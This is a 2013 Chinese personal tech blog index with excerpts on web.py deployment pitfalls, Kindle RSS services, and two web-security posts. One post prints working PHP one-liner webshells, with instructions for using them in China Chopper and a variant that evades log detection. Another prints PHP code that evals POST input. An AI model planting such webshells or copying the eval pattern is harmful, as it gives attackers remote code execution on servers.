dieyushi's Blog

ATOM Rss

南京的几张照片

June 09 2013 , life

Read More

web.py的一些坑

May 28 2013 , web

前言

好久没写博客,一是因为这一段时间没有再去做题了,出差,回来之后准备了一家公司的面试,还要上党校。搞得自己每天看起来很忙,但是真的没做多少事情。最近抽时间再写一个网站,采用了web.py框架,记录点一开始遇到的问题。顺便缅怀下Aaron Swartz 并吐槽下那简洁到坑爹的文档。

一些问题

  • 使用apache + mod_wsgi部署时,报错说是找不到模板,使用了绝对路径才ok,可以使用__file__来做。
  • web.py的模板系统的定义变量语句$def with(name1, name2)要放到页面起始位置。
  • 使用了jquery的话,$会引起冲突,需要转义为$$
  • 可以使用$:render.header()$:render.foot()来实现类似PHP include引用模板。
  • 如果要向模板中传入很多值,可以用locals()来传值。locals()返回值是字典型。
  • 使用apache + mod_wsgi部署时,import本地模块会抱错,解决方法在http://webpy.org/install#apachemodwsgi中有提到。
  • 使用apache + mod_wsgi部署时,session也要使用绝对路径。
  • 使用sessions时,默认设置的cookie_path是错误的,具体表现是使用python code.py运行时是正确的,使用mod_wsgi时每次都会在服务器端重新生成一个新的session,相关代码在web/session.py中,解决办法是在定义session之前,设置参数,web.config.session_parameters['cookie_path'] = '/'
Read More

php一句话变形

May 19 2013 , web

前言

最近留了几个一句话都是这种形式的。

<?php($_=@$_GET[2]).@$_($_POST[1])?>

使用方法是在菜刀里写http://localhost/1.php?2=assert密码是1

总结

这样子做在web日志里很明显就可以看出来这是一个一句话。相比于这个更隐蔽的方法是两个参数都使用POST来提交。

<?$_POST['1']($_POST['2']);?>

在使用时,配置一栏输入<O>2=assert;</O>,这样就可以附加提交2=assert

更多强大猥琐的php一句话可以参考这里:http://www.freebuf.com/articles/web/9396.html

Read More

PHP代码注入漏洞

May 13 2013 , web

前言

在做测试的过程中,居然还发现了一站点现在还存在PHP代码注入的漏洞,真是很难见到的漏洞。现在说说这个漏洞产生的原因以及利用和修复方法吧。

漏洞成因

下面的代码片段引入了PHP代码注入漏洞,

<?
$postarray = array(
"name",
"email",
"message",
);
foreach ($postarray as $val) {
    if (!isset($_POST[$val])) $_POST[$val] = "";
    eval("$".$val." = '".$_POST[$val]."';");
}
?>
Read More

前言

关于kindle的评价和购买已经在之前的一篇文章里提过了(链接),这次推荐Kindle的一些服务来提高阅读体验。主要是通过狗耳朵订阅RSS和使用软件或插件向Kindle推送文章。

狗耳朵

一直以来都是使用Google Reader来订阅感兴趣的网站或博客内容,随着订阅的条目越来阅读,只要一天没有看,就可以看到GR的未读数目300多条,然后就感到压力很大,有时候都感觉自己有点轻微的强迫症了,强迫自己随时看新出现的订阅内容。但是订阅的博客按质量和深度可以分为几个层次,有的只需要随便看看有点印象就可以,而有的却需要好好的静下心来阅读。这个需求在电脑上经常会被各种各样突然出现的事情打断,自从有了kindle,就可以把这个事情放到晚上睡觉前来做,每天拿出半个到一个多小时的时间来消化今天的内容。这就需要将rss内容推送到kindle上。

狗耳朵实现的正是这个需求。 狗耳朵是全文RSS订阅推送服务,支持Kindle,多看,Nook等移动电子阅读设备。

Read More